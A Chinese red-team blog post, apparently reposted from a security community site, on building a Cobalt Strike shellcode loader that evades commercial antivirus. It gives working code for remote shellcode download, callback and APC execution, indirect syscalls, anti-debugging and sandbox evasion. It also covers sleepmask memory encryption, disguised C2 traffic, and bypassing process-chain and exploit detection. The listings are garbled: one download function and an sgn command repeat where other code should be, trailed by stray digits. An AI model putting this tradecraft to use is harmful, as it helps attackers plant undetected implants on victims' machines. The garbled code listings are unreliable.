点击上方蓝字关注我们
现在只对常读和星标的公众号才展示大图推送,建议大家能把星落安全团队“设为星标”,否则可能就看不到了啦!
文章前言
来源:先知社区,作者:Endlessparadox
本文分享的动态逃逸杀软,主要聚焦在流量、内存、行为上进行规避,并且组合了间接系统调用、反调试、反沙箱等技术进一步对抗杀软,也为后续综合逃逸EDR/XDR打下良好的基础,测试使用企业版卡巴斯基、火绒6.0、360开启晶核状态,完整代码已经上传Github
流量规避
Cobalt Strike为了提供了非常灵活的流量调整,我们需要修改profile中的流量,我这里的配置修改了热门项目的4.9的内容,默认的jquery流量已经被杀毒和EDR标记严重,卡巴斯基对于这种流量是直接秒杀的,而且即使是启用https监听对于杀毒没有意义,杀毒安装的时候默认就把自己的根证书安装上了系统,所以是可以解密https,如下图
需要提前说明,如果VPS被沙箱和情报标记为恶意ip那无论怎么改流量都会秒杀,我搞了一下午发现无论怎么改都过不了卡巴的流量,后面注意到可能是我服务器ip被拉黑了
威胁原因是云保护,换个ip就行了:
为了修改流量,需要快速学习profile的语言,阅读文档,我们可以知道http-get部分是拉取请求服务要执行的内容,为了区分不同的beacon,metadata就是加密好的元数据,为了让metadata看起来不可疑,使用了base64url对元数据进行编码,同时用header指定了Cookie头,用prepend添加一些正常的数据
我们可以运行一下c2lint看看流量呈现的效果
./c2lint endlessparadox.profile
server是控制响应output字段,mask代表随机xor加密,base64放在后面会进一步编码加密的流量降低流量的熵值
大部分师傅都是做web出身应该很容易理解这些配置文件字段,流量效果如下,完全融入正常流量:
再看一下http-post,这部分是beacon发送执行命令和任务的结果,id来确定任务序列,output自然就是任务的结果,处理也就经过了mask加密和base64url编码
下面就是模拟的流量请求:
在原有的基础上修改还是比较容易,上面的流量就是我用bp抓取了B站的流量,借此模拟合法B站的请求,原版的github里面的请求对着一个静态资源发送POST请求确实是很可疑?师傅也可以抓取其他流量,按照正常的网站修改就好了。
分阶段的shellcode不会加密流量非常坑,同时为了避免空间绘测识别我的C2我关掉了host_stage,当c2lint所有检查通过之后就可以愉快的拉起cs去测试了
网络获取shellcode
为了分离shellcode和加载器,我使用内置windows api的InternetOpenA去获取远程服务中的shellcode
std::vector<unsigned char> DownloadShellcode(const char* url) {
std::vector<unsigned char> shellcode;
HINTERNET hInternet = InternetOpenA("MyApp", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
if (hInternet) {
HINTERNET hUrl = InternetOpenUrlA(hInternet, url, NULL, 0, INTERNET_FLAG_PRAGMA_NOCACHE | INTERNET_FLAG_KEEP_CONNECTION, 0);
if (hUrl) {
DWORD bytesRead = 0;
const DWORD bufferSize = 4096;
BYTE buffer[bufferSize];
while (InternetReadFile(hUrl, buffer, bufferSize, &bytesRead) && bytesRead != 0) {
shellcode.insert(shellcode.end(), buffer, buffer + bytesRead);
}
InternetCloseHandle(hUrl);
}
InternetCloseHandle(hInternet);
}
return shellcode;
}
自解密的shellcode
我现在不想引入其他算法再去解密我们的shellcode,硬编码key不是最佳实现,目前常用的算法总会被少数几个杀毒和edr标记为可疑,我们应该处理shellcode,实现自解密,不过对于我这种一般的开发者纯汇编实现有些过于困难;而且有枪不用,用气功,怎么成为一代宗师?所以我这里使用了Sgn工具,它会帮我们处理shellcode实现运行时候自解密
./sgn --arch=64 -S -i shellcode.txt
-S是代表安全生成shellcode, -i指定我们要处理的shellcode文件,--arch=64代表指定处理64位的
它处理Payload的流程如下:
根据大佬写的算法随机空间非常大,杀毒别说抓特征,写出Yara规则都不可能:
需要注意一个问题,自解密的Shellcode是需要内存区域为RWX权限,对付杀软倒是还行,对付更厉害的EDR/XDR会被重点关照,因此自解密的shellcode也不是什么灵丹妙药,最多作为一种备选的方案
Windows API通过系统调用
我们用Windbg打个断点到VirutalAlloc这边,跟进去来看看正常API调用的流程,注意堆栈调用和反汇编区域:
右下方是正常windows api调用的一个正常路径,最下方这两个是线程启动正常的调用,我们暂时不管:
07 00000054`5532fa40 00007ff8`9a76af38 KERNEL32!BaseThreadInitThunk+0x1d
08 00000054`5532fa70 00000000`00000000 ntdll!RtlUserThreadStart+0x28
和程序有关入口其实是就是main函数,也就是callback!main+0x99,其他都是一些C库的东西,和windows api没关系:
0:000> k
# Child-SP RetAddr Call Site
00 00000054`5532f7d8 00007ff8`97a3a5f8 ntdll!NtAllocateVirtualMemory
01 00000054`5532f7e0 00007ff6`c39d1639 KERNELBASE!VirtualAlloc+0x48
02 00000054`5532f820 00007ff6`c39e31f9 callback!main+0x99
03 00000054`5532f920 00007ff6`c39e3332 callback!invoke_main+0x39
04 00000054`5532f970 00007ff6`c39e33be callback!__scrt_common_main_seh+0x132
05 00000054`5532f9e0 00007ff6`c39e33de callback!__scrt_common_main+0xe
06 00000054`5532fa10 00007ff8`98f1259d callback!mainCRTStartup+0xe
其实就是正常的流程就是callback!main+0x99 -->> KERNELBASE!VirtualAlloc+0x48 -->> ntdll!NtAllocateVirtualMemory -->> ntoskrnl.exe,我稍微画个图更加直观:
Syscall就是要跳过KERNELBASE!VirtualAlloc+0x48这一步,直接或者间接发起Syscall,达到绕过hook在KERNELBASE的杀毒:
我们可以看看右上角反汇编的代码,系统本身是怎么发起syscall的:
ntdll!NtAllocateVirtualMemory:
00007ff8`9a7b04c0 4c8bd1 mov r10,rcx
00007ff8`9a7b04c3 b818000000 mov eax,18h
00007ff8`9a7b04c8 f604250803fe7f01 test byte ptr [SharedUserData+0x308 (00000000`7ffe0308)],1
00007ff8`9a7b04d0 7503 jne ntdll!NtAllocateVirtualMemory+0x15 (00007ff8`9a7b04d5)
00007ff8`9a7b04d2 0f05 syscall
00007ff8`9a7b04d4 c3 ret
00007ff8`9a7b04d5 cd2e int 2Eh
00007ff8`9a7b04d7 c3 ret
00007ff8`9a7b04d8 0f1f840000000000 nop dword ptr [rax+rax]
要发起syscall其实很简单,看上去只需要将系统调用号放入 RAX
寄存器,然后直接syscall就可以了,这个例子是NtAllocateVirtualMemory,调用号是18h,只要参数就位,进入寄存器就可以直接进入内核模式了。
但是有一个关键的问题,我们是不知道具体NTAPI的系统调用号的呀!
系统调用号不同版本的windows都不一样,我们一方面要不硬编码所有的系统调用号到loader里面,要不就只能手动解析ntdll.dll来动态获取系统调用号,这些都不是简单的工作,直到SysWhispers的出现直到SysWhispers出现才真正方便的恶意代码开发者,SysWhispers经过多轮迭代,现在已经有SysWhispers3这类规避极强的方案出现,内置了多种不同的syscall方案。
根据大佬博客, 对于静态规避直接系统调用的是不行的,杀毒会杀syscall这个指令,因为系统上硬编码syscall的只可能有ntdll.dll有,我们编写shellcode loader还是得用间接系统调用
syswhispers.py -a x64 -c msvc -m jumper_randomized -f NtAllocateVirtualMemory -o SysWhispers
-m jumper_randomized指定跳跃间接系统随机化
-f 指定要使用的NtAllocateVirtualMemory api
-a 指定64位架构
这里工具的使用比较简单,就鼓励大家自己探索一下了
通过上述命令,将会生成随机间接系统调用的三个文件,添加进我们的项目里面,之后还要启用MASM才能正常编译:
用起来就和几乎和正常API一样,稍微要注意的是,NTAPT一般会多几个参数,这部分花时间看看文档,稍微麻烦一点;我们再看看它生成的关键汇编代码:
.code
EXTERN SW3_GetSyscallNumber: PROC
EXTERN SW3_GetRandomSyscallAddress: PROC
Sw3NtAllocateVirtualMemory PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 019911121h ; Load function hash into ECX.
call SW3_GetRandomSyscallAddress ; Get a syscall offset from a different api.
mov r11, rax ; Save the address of the syscall
mov ecx, 019911121h ; Re-Load function hash into ECX (optional).
call SW3_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp+8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
jmp r11 ; Jump to -> Invoke system call.
Sw3NtAllocateVirtualMemory ENDP
end
比较有意思的点,它使用了API HASH技术规避硬编码字符串到二进制文件里面,同时获取了随机syscall地址,这样发出syscall的地方虽然还是ntdll.dll,但是确实完全不同的API地址,这可以规避掉NTDLL的hook(因为杀软不可能hook所有API,不然我们的电脑要卡死了)
虽然理论上安全软件依然可以Hook内核,但是出于安全考虑,微软阻止了这种行为,KPP蓝屏警告!实际上,安全产品无法真正Hook内核,有些是hook ntdll来解决,有些是使用内核ETW来收集调用日志,再做决策,所以理论上是Syscall是操作安全的;2024年,间接系统调用依然非常好用。
shellcode执行方案选择
红队开发需要权衡当前的环境情况来选择不同的方案,编写执行方法一般分为两个大方向,一种是在我们加载器内部执行,另一种是注入其他进程执行;内部执行好处是非常容易规避杀软的检测,而且很轻量,但是代价是假如恶意操作失误,被杀软标记后会立刻销毁我们的加载器,作为一次性的使用物品是非常合适;注入后执行的代价是注入动作比较敏感,但是后续操作操作即使是失误也不会立刻关联到我们编写的加载器,非常适合反复使用
回调函数执行
本身杀毒对回调函数查杀不严格,我只需要把回调的执行地址指向shellcode地址即可执行,非常简单,用EnumChildWindows举个例子,Address直接指向我们分配的内存地址就好了
EnumChildWindows(NULL, (WNDENUMPROC)Address, NULL)
著名AlternativeShellcodeExec的有大量回调函数,可以直接拿来使用,回调本身没啥好说的,因为涉及到背后的消息处理机制可能很复杂也可能很简单,要规避强就用线程池回调就可以了。
bool CreateAndTriggerEvent(PTP_WAIT_CALLBACK WaitCallback) {
// 创建事件对象
HANDLE hEvent = CreateEvent(NULL, FALSE, FALSE, NULL);
if (hEvent == NULL) {
//std::cerr << "Failed to create event." << std::endl;
return false;
}
// 创建线程池等待对象
PTP_WAIT wait = CreateThreadpoolWait(WaitCallback, NULL, NULL);
if (wait == NULL) {
//std::cerr << "Failed to create wait object." << std::endl;
CloseHandle(hEvent);
return false;
}
// 将事件关联到线程池等待对象
SetThreadpoolWait(wait, hEvent, NULL);
// 模拟触发事件
if (!SetEvent(hEvent)) {
//std::cerr << "Failed to set event." << std::endl;
CloseThreadpoolWait(wait);
CloseHandle(hEvent);
return false;
}
// 进入无限等待,确保shellcode的线程不会执行完就退出
WaitForSingleObject(GetCurrentProcess(), INFINITE);
// 清理资源
//CloseThreadpoolWait(wait);
//CloseHandle(hEvent);
return true;
}
//触发这个回调函数
CreateAndTriggerEvent((PTP_WAIT_CALLBACK)Address);
Windows有大量的回调方法,配合获取shellcode方法可以组合出上百种免杀方案,而且好处是简单而小,杀毒无法查杀,使得可以轻而易举到达一个静态很好的规避查杀的效果:
间接系统调用升级传统APC注入
通过刚才的方法,我们就可以轻松升级我们的APC注入代码了,用 SysWhispers3生成一下我们接下来要调用的NTAPI就可以了.
std::vector<unsigned char> DownloadShellcode(const char* url) {
std::vector<unsigned char> shellcode;
HINTERNET hInternet = InternetOpenA("MyApp", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
if (hInternet) {
HINTERNET hUrl = InternetOpenUrlA(hInternet, url, NULL, 0, INTERNET_FLAG_PRAGMA_NOCACHE | INTERNET_FLAG_KEEP_CONNECTION, 0);
if (hUrl) {
DWORD bytesRead = 0;
const DWORD bufferSize = 4096;
BYTE buffer[bufferSize];
while (InternetReadFile(hUrl, buffer, bufferSize, &bytesRead) && bytesRead != 0) {
shellcode.insert(shellcode.end(), buffer, buffer + bytesRead);
}
InternetCloseHandle(hUrl);
}
InternetCloseHandle(hInternet);
}
return shellcode;
}
0
修改一下inject注入方法,NTAPI和原本的标准API无非就是多了几个参数,可以做更加细腻的控制:
std::vector<unsigned char> DownloadShellcode(const char* url) {
std::vector<unsigned char> shellcode;
HINTERNET hInternet = InternetOpenA("MyApp", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
if (hInternet) {
HINTERNET hUrl = InternetOpenUrlA(hInternet, url, NULL, 0, INTERNET_FLAG_PRAGMA_NOCACHE | INTERNET_FLAG_KEEP_CONNECTION, 0);
if (hUrl) {
DWORD bytesRead = 0;
const DWORD bufferSize = 4096;
BYTE buffer[bufferSize];
while (InternetReadFile(hUrl, buffer, bufferSize, &bytesRead) && bytesRead != 0) {
shellcode.insert(shellcode.end(), buffer, buffer + bytesRead);
}
InternetCloseHandle(hUrl);
}
InternetCloseHandle(hInternet);
}
return shellcode;
}
1
由于我们的使用的Sw3NtAllocateVirtualMemory函数直接分配内存,这意味着这块分配的内存区域没有任何关联在磁盘上的PE文件,这对于杀毒来说是可疑的,系统内存区域有执行x权限的通常情况下会关联到一个dll
没有执行权限的一般会给动态数据内存,这部分不会关联dll:
这部分就像是JAVA中的内存马一样,没有磁盘上class文件,内存马扫描器就能找到可疑的活动。要解决这部分查杀我们得使用模块踩踏技术,这部分就留到后续再分享吧;
反调试
为了避免安全分析的工程师调试我们的loader,我们可以尝试加入反调试技术,目前的调试器都会自动扑获异常,只需要我们故意触发一个异常即可
std::vector<unsigned char> DownloadShellcode(const char* url) {
std::vector<unsigned char> shellcode;
HINTERNET hInternet = InternetOpenA("MyApp", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
if (hInternet) {
HINTERNET hUrl = InternetOpenUrlA(hInternet, url, NULL, 0, INTERNET_FLAG_PRAGMA_NOCACHE | INTERNET_FLAG_KEEP_CONNECTION, 0);
if (hUrl) {
DWORD bytesRead = 0;
const DWORD bufferSize = 4096;
BYTE buffer[bufferSize];
while (InternetReadFile(hUrl, buffer, bufferSize, &bytesRead) && bytesRead != 0) {
shellcode.insert(shellcode.end(), buffer, buffer + bytesRead);
}
InternetCloseHandle(hUrl);
}
InternetCloseHandle(hInternet);
}
return shellcode;
}
2
自定义异常分三步:
第一步:设置异常处理函数SetUnhandledExceptionFilter,并且指向我们的自定义的异常处理函数,函数返回指定为EXCEPTION_CONTINUE_EXECUTION,意味着遇到错误继续执行后续代码
第二步:主动升起异常函数RaiseException
第三步:恢复之前保存的previousUnhandledExceptionFilter,此时isDebugged已经是Ture,直接退出程序
一旦我下个断点就会是这样,处有未经处理的异常,后续继续调试就会走到退出代码,无法调试后续的代码了:
我这里比较简陋,当然有很多其他高级的反调试技巧,可以具体参考最权威的https://anti-debug.checkpoint.com/进一步学习
反沙箱
沙箱经常出现在低成本的自动化识别威胁的方案中,为了避免我们的shellcode加载完成运行在沙箱中被识别出来,我这里使用了TCP关联延迟方案;基本上在加载shellcode之前,我们通过延迟一个很长的时间来规避沙箱的检查;但是现代高级的沙箱总会hook掉一些API的休眠时间,并且修改为0;最终解决方案是差异化,当沙箱的休眠时间和我们服务的休眠时间不一致的时候,就直接退出
std::vector<unsigned char> DownloadShellcode(const char* url) {
std::vector<unsigned char> shellcode;
HINTERNET hInternet = InternetOpenA("MyApp", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
if (hInternet) {
HINTERNET hUrl = InternetOpenUrlA(hInternet, url, NULL, 0, INTERNET_FLAG_PRAGMA_NOCACHE | INTERNET_FLAG_KEEP_CONNECTION, 0);
if (hUrl) {
DWORD bytesRead = 0;
const DWORD bufferSize = 4096;
BYTE buffer[bufferSize];
while (InternetReadFile(hUrl, buffer, bufferSize, &bytesRead) && bytesRead != 0) {
shellcode.insert(shellcode.end(), buffer, buffer + bytesRead);
}
InternetCloseHandle(hUrl);
}
InternetCloseHandle(hInternet);
}
return shellcode;
}
3
这个函数所作的事情的作为TCP和我们的服务端沟通,看看固定端口有没有开启;
std::vector<unsigned char> DownloadShellcode(const char* url) {
std::vector<unsigned char> shellcode;
HINTERNET hInternet = InternetOpenA("MyApp", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
if (hInternet) {
HINTERNET hUrl = InternetOpenUrlA(hInternet, url, NULL, 0, INTERNET_FLAG_PRAGMA_NOCACHE | INTERNET_FLAG_KEEP_CONNECTION, 0);
if (hUrl) {
DWORD bytesRead = 0;
const DWORD bufferSize = 4096;
BYTE buffer[bufferSize];
while (InternetReadFile(hUrl, buffer, bufferSize, &bytesRead) && bytesRead != 0) {
shellcode.insert(shellcode.end(), buffer, buffer + bytesRead);
}
InternetCloseHandle(hUrl);
}
InternetCloseHandle(hInternet);
}
return shellcode;
}
4
假设沙箱10分钟后必定超时,如果hook休眠时间改为0,那么会过早请求我们的服务器,端口没能开放将会导致直接退出;如果不hook,10分钟后沙箱资源销毁了,自然也无法分析了。
服务端设计实现也很简单,就开个socks TCP监听出来休眠就是了
std::vector<unsigned char> DownloadShellcode(const char* url) {
std::vector<unsigned char> shellcode;
HINTERNET hInternet = InternetOpenA("MyApp", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
if (hInternet) {
HINTERNET hUrl = InternetOpenUrlA(hInternet, url, NULL, 0, INTERNET_FLAG_PRAGMA_NOCACHE | INTERNET_FLAG_KEEP_CONNECTION, 0);
if (hUrl) {
DWORD bytesRead = 0;
const DWORD bufferSize = 4096;
BYTE buffer[bufferSize];
while (InternetReadFile(hUrl, buffer, bufferSize, &bytesRead) && bytesRead != 0) {
shellcode.insert(shellcode.end(), buffer, buffer + bytesRead);
}
InternetCloseHandle(hUrl);
}
InternetCloseHandle(hInternet);
}
return shellcode;
}
5
内存规避
过卡巴内存据说很难,让我们来看看真的如此吗?实际上轻而易举。
Arsenal Kit是综合了多种规避技术的武器库,让我们去捞一下官方的Arsenal Kit武器库,这是官方的hash地址,SHA256是c2e1ba266aa158636ea3470ba6ab7084bb65d6811131c550d8c6357ca0bbaedd:
去微步在线捞一下样本:
下载下来解压,之后我们手工再验证一下hash就可以了:
std::vector<unsigned char> DownloadShellcode(const char* url) {
std::vector<unsigned char> shellcode;
HINTERNET hInternet = InternetOpenA("MyApp", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
if (hInternet) {
HINTERNET hUrl = InternetOpenUrlA(hInternet, url, NULL, 0, INTERNET_FLAG_PRAGMA_NOCACHE | INTERNET_FLAG_KEEP_CONNECTION, 0);
if (hUrl) {
DWORD bytesRead = 0;
const DWORD bufferSize = 4096;
BYTE buffer[bufferSize];
while (InternetReadFile(hUrl, buffer, bufferSize, &bytesRead) && bytesRead != 0) {
shellcode.insert(shellcode.end(), buffer, buffer + bytesRead);
}
InternetCloseHandle(hUrl);
}
InternetCloseHandle(hInternet);
}
return shellcode;
}
6
我们看一下它的目录结构:
里面每个Kit都是一个套件,里面有详细的md文档说明解释,我们这里关注内存规避是sleepmask套件,直接跳进源码里面分析是非常痛苦的,我们得先总体熟悉一下整体的层次再去关注具体实现:
主要的逻辑都在sleepmask.c里面了,我画个函数调用图片:
执行这个BOF是生命周期现在看起来就很清晰了,BOF进入内存后,首先经过一系列的信息准备,获取需要加密内存区域的信息、之后依次执行mask函数的各种加密操作;evasive_sleep为休眠做准备,之后根据配置选择,选择休眠的模式(waitforsingleobject 或者psleep休眠),之后休眠期结束,再执行解密内存的操作,如此循环往复,就是这个sleepmask的生命周期了。
我想我们现在还是一头雾水,不过不着急,还需要看一下这些函数关键的一个struct,里面包含了这些函数执行需要的关键信息:
std::vector<unsigned char> DownloadShellcode(const char* url) {
std::vector<unsigned char> shellcode;
HINTERNET hInternet = InternetOpenA("MyApp", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
if (hInternet) {
HINTERNET hUrl = InternetOpenUrlA(hInternet, url, NULL, 0, INTERNET_FLAG_PRAGMA_NOCACHE | INTERNET_FLAG_KEEP_CONNECTION, 0);
if (hUrl) {
DWORD bytesRead = 0;
const DWORD bufferSize = 4096;
BYTE buffer[bufferSize];
while (InternetReadFile(hUrl, buffer, bufferSize, &bytesRead) && bytesRead != 0) {
shellcode.insert(shellcode.end(), buffer, buffer + bytesRead);
}
InternetCloseHandle(hUrl);
}
InternetCloseHandle(hInternet);
}
return shellcode;
}
7
如果师傅还没储备PE结构、和内存映射的知识接下来肯定会一脸懵逼,为了保证读者的流畅性,我们快速补充一下PE知识部分的关键知识;
PE文件是Windows操作系统可执行文件格式,包括.exe
和.dll
文件。它是基于COFF(Common Object File Format)的扩展,包含了一系列用于描述文件如何加载到内存并执行的数据结构。我们这里关注sections字段,sections字段存储了程序的代码、全局变量、资源信息。
下图是正常PE如何映射到内存中的过程:
涉及到BOF的载入就会变得更加复杂,不过本质其实一样,无非是解析过程变得复杂了,在内存中的状态依然一致。为了规避杀毒的特征查找,我们就需要对这部分关键的内存区域进行加密操作,这也是SLEEPMASKP结构会保存的关键信息地址。
我们现在有几个关键的疑问:
没看到mask_heap和mask_sections解密的逻辑?
是怎么加密了.text这种可执行区域的特征的?被加密了怎么恢复到原始的状态?
进去看一下加密方法,我们不难发现,实现加密的逻辑是XOR,这意味着只需要再次调用这个加密就函数就能解密,XOR本身是互逆运算,因此不需要实现新的解密方法:
std::vector<unsigned char> DownloadShellcode(const char* url) {
std::vector<unsigned char> shellcode;
HINTERNET hInternet = InternetOpenA("MyApp", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
if (hInternet) {
HINTERNET hUrl = InternetOpenUrlA(hInternet, url, NULL, 0, INTERNET_FLAG_PRAGMA_NOCACHE | INTERNET_FLAG_KEEP_CONNECTION, 0);
if (hUrl) {
DWORD bytesRead = 0;
const DWORD bufferSize = 4096;
BYTE buffer[bufferSize];
while (InternetReadFile(hUrl, buffer, bufferSize, &bytesRead) && bytesRead != 0) {
shellcode.insert(shellcode.end(), buffer, buffer + bytesRead);
}
InternetCloseHandle(hUrl);
}
InternetCloseHandle(hInternet);
}
return shellcode;
}
8
对于text_section区域,bof采取的是内存权限的变动,加密的时候根据配置情况使用NtProtectVirtualMemory或者VirtualProtect函数反转内存权限到PAGE_READWRITE(可读可写)
std::vector<unsigned char> DownloadShellcode(const char* url) {
std::vector<unsigned char> shellcode;
HINTERNET hInternet = InternetOpenA("MyApp", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
if (hInternet) {
HINTERNET hUrl = InternetOpenUrlA(hInternet, url, NULL, 0, INTERNET_FLAG_PRAGMA_NOCACHE | INTERNET_FLAG_KEEP_CONNECTION, 0);
if (hUrl) {
DWORD bytesRead = 0;
const DWORD bufferSize = 4096;
BYTE buffer[bufferSize];
while (InternetReadFile(hUrl, buffer, bufferSize, &bytesRead) && bytesRead != 0) {
shellcode.insert(shellcode.end(), buffer, buffer + bytesRead);
}
InternetCloseHandle(hUrl);
}
InternetCloseHandle(hInternet);
}
return shellcode;
}
9
对于解密操作是使用NtProtectVirtualMemory或者VirtualProtect反转回text_section.old的权限(这部分由用户的profile文件控制,一般是rwx或者rx权限)
./sgn --arch=64 -S -i shellcode.txt
0
XOR计算本身速度很快,加密解密发生在一瞬间,和Cobastrike的休眠周期(默认60s休眠)比起来可能就是千万分之一或者一亿分之一的时间窗口(现代CPU一般可以在几个时钟周期内完成,比例非常小),杀毒的从头内存扫描要想找到我们正常休眠活动的beacon几乎是不可能的。
我们还有一个重要的疑问,内存权限翻转为RW了,是怎么解密恢复的?没有执行权限呀。要回答这个关键的问题就要引入help stub这个内存区域,早期的CS保留了一小块内存区域拥有执行权限,而且没有被加密(也无法加密),这样杀毒就能找到这块内存区域,干掉我们的beacon,我们得想办法消除这个特征。
解决这个问题正是evasive_sleep(parms->mask, time, &info);的作用,Sleepmask采用了Ekko休眠技术;为了理解这部分我们得学几个关键window API:
CreateTimerQueueTimer API
CreateTimerQueueTimer
用于在计时器队列中创建一个计时器,该计时器到期时会触发指定的回调函数,同时给出了Parameter参数可以用于传递回调函数参数,创建的计时器会在固定时间触发。
./sgn --arch=64 -S -i shellcode.txt
1
NtContinue API
NtContinue
的主要功能是从提供的 ThreadContext
中恢复线程的执行状态。这意味着调用这个函数的线程会被强制切换到指定的寄存器状态(包括程序计数器、堆栈指针等),并继续执行。
./sgn --arch=64 -S -i shellcode.txt
2
这个函数给了我们可能性去操作寄存器然后跳转到任意的系统API,从而调用任意系统API。函数调用的本质实际上是参数准备在寄存器上,CPU顺序执行,熟悉x64架构的师傅应该都知道Rip寄存器控制着函数要去的地址,而参数通常使用寄存器(如 RDI
, RSI
, RCX
, 等)来传递前几个函数参数,这就提供了无限的可能。
把上述这两个函数组合起来,并且利用ROP技巧,我们可以在定时器内执行特定的WIN API:
./sgn --arch=64 -S -i shellcode.txt
3
由于CreateTimerQueueTimer指向NtContinue,这部分可以利用RopProtRW传递并转发到VirtualProtect的位置上,这样一来修改权限动作就交付给了系统本身,系统本身当然有权限执行修改内存权限,而我们只需要计算好时间,等待系统解密完成,所以说自解密的说法其实不太对,应该是系统解密才更恰当。
现代EDR一般会扫描具备执行权限的内存区域,但是如果不加密内存肯定是不行的,为了强力规避,作者又找了一个系统函数在内存中实现加密解密,这就是著名的SystemFunction032,用起来就两个参数,没什么难度。
./sgn --arch=64 -S -i shellcode.txt
4
现在我们再深入分析一下这个函数的实现:
前面都是一些参数准备的工作:
核心部分利用 CreateTimerQueueTimer
创建多个定时任务,按以下顺序执行:
time代表我们的休眠时间,旨在对其休眠恢复时间:
100ms: 调用
spoof_stack
。200ms: 调用
NtContinue
,设置为调用VirtualProtect
。300ms: 调用
NtContinue
,设置为调用SystemFunction032
。400 + time ms: 重复调用
SystemFunction032
。500 + time ms: 调用
VirtualProtect
,恢复代码段的可执行权限。600 + time ms: 恢复原始栈。
700 + time ms: 调用
SetEvent
,解除线程的阻塞。
整个生命周期实际上就是如下图,我们不难发现,如果给beacon执行任务的时间比较久的话,被EDR察觉的概率会大大增加,这部分就要求红队操作需要注意OPSEC了:
不看源码,直接用的话非常简单,我们执行./build.sh看看需要什么参数:
我这里有windows的linux子系统,直接编译导入一下:
./sgn --arch=64 -S -i shellcode.txt
5
使用过CS插件的师傅都知道,在这边加载一下CNA就好了,记得要重启客户端才能正确生效,否则是过不了卡巴的;下次面试官再问你如何过卡巴就用我这篇文章,如果面试官说不二开就过不了,就直接用我这篇文章打脸面试官(笑),实际上根本不需要而二开:
不过,读者看过我之前的文章会发现有yara签名可以打标内存,但是红队无需担心,可以使用更加底层的LLVM混淆,每次编译都生成完全不同的特征,对源码打标变的毫无意义,请查看KomiMoe大佬的工作,我这里就不展开了,替换一下里面的编译器和编译参数就可以。
备注:可能LLVM混淆有bug或者致命错误会导致sleepmask加密失效甚至beacon崩溃,务必反复测试验证工作正常,如果只是为了逃逸卡巴斯基可以不混淆直接导入使用,但是商业EDR(Crowdstrike、bitdenfender这种顶级的)必须混淆,因为会集成内存yara规则重点打击。
上线测试
把这些技术组合在一起,一个不错的loader就起来了,起码应付99%杀毒和初级的分析人员没问题。
行为规避
当然上线完成还不够,我们上线完成之后如果要做各种敏感的操作,例如进程注入、内存执行.net程序、执行键盘监控、dump lsass内存、加入后门项持久化等,有行为检测的杀毒都会秒杀这种恶意操作,这个时候就需要我们针对这些进行特化规避,这些都是非常复杂深入的话题,我这里快速帮师傅过一下。
进程注入
上线之后,CS默认的注入已经被查杀严重了,我们可以看一下配置文件用了什么类型的注入,我们CS配置文件写明了会执行下面4种注入
./sgn --arch=64 -S -i shellcode.txt
6
完全理解这些注入原理不在本篇讨论范围,目前只需要知道所有技术的注入受限于底层的注入原理,并非所有的注入都能成功,而且杀毒查杀默认的严重,对付杀毒尽量不要使用原生的注入,目前Github上已经有很多开箱的高级注入可以使用,建议使用最近发布的线程池注入;
虽然我们习惯性使用APC注入、DLL注入、线程池注入这种说法,但是深入研究其实可以分解为分配内存技术+写入技术+执行技术,Black Hat的演讲Process Injection Techniques - Gotta Catch Them All,对于这几年的注入技术总结的非常全面,如果师傅深入理解背后的工作原理之后,开发出相关注入技术的变体还是很容易的。
流量层面的漏洞防御绕过
漏洞防御杀毒吹嘘的很牛逼,我们实际来看看,这是一个古老的向日葵漏洞,公开的POC发送,我们的payload被拦截了,不用说是正则匹配:
绕过正则没啥难度,搞Web出身的师傅怎么可能还搞不定你的流量拦截,稍微fuzz变形就绕过了,杀毒不是WAF,没啥好说的,太弱了:
./sgn --arch=64 -S -i shellcode.txt
7
执行命令也没问题,大部分杀毒本身就对这类流量混淆后的payload无能为力:
360之前还能过的,现在杀进程链了,就过不了了。
进程行为、进程链的监控
假如explorer.exe出现网络连接会被杀软持续跟踪,直到销毁我们的beacon,但是如果注入到浏览器,浏览器发起存在网络连接是在正常不过的事情;如果要调用cmd.exe那么从explorer.exe调用再正常不过了,但是浏览器进程启动cmd.exe则是非常可疑的,这就是进程链监控的基本原理。
为了绕过进程链的监控,通用的一般有两种方法,一种是进程注入到别的进程,另外一种是父进程欺骗;父进程欺骗这边我就不讲解原理了,先知已经有很多文章,我们直接用C2开箱即用的欺骗技术就好了,目前自带的技术生命力还是非常强的;如果上面两种都过不了,就得找WinCOM自行武器化,或者寻找入口进程本身的特性,这些都非常复杂,涉及知识面非常广泛,又是另外一个很大的话题了。
为了更好的解释,我本地搭建了tomcat模拟实战环境,可以看到,如果直接在冰蝎的命令执行,发现是无法执行敏感命令的,理由也很简单,java.exe这个进程本身就不太可能拉起cmd执行系统命令,会被杀软重点关注:
可以看到执行一般的命令还好,但是敏感命令直接就寄了“Cannot run program "cmd.exe": CreateProcess error=5, 拒绝访问。”意味着我们无法拉起这个进程:
虚拟终端,常常用于被删除cmd环境的情况,它也没办法绕过进程链的检测:
不过冰蝎有强大的反弹shell功能,可以一键打入各种C2的shellcode,上线各种后门,如果自己二改定义,这几乎绕过了所有杀软:
你也许会好奇它的反弹shell是怎么实现绕过的,实际上就是利用强大灵活的java的jni实现载入c编写的dll上线,由于java本身是白签名程序,加上本身打入的方式只会java内部新启动一个线程,这种强大的灵活的规避性质足以绕过所有杀软和EDR,这部分就留到后门再填坑了,不得不再次感慨一下rebeyond大神出神入化的境界。
DLL侧加载
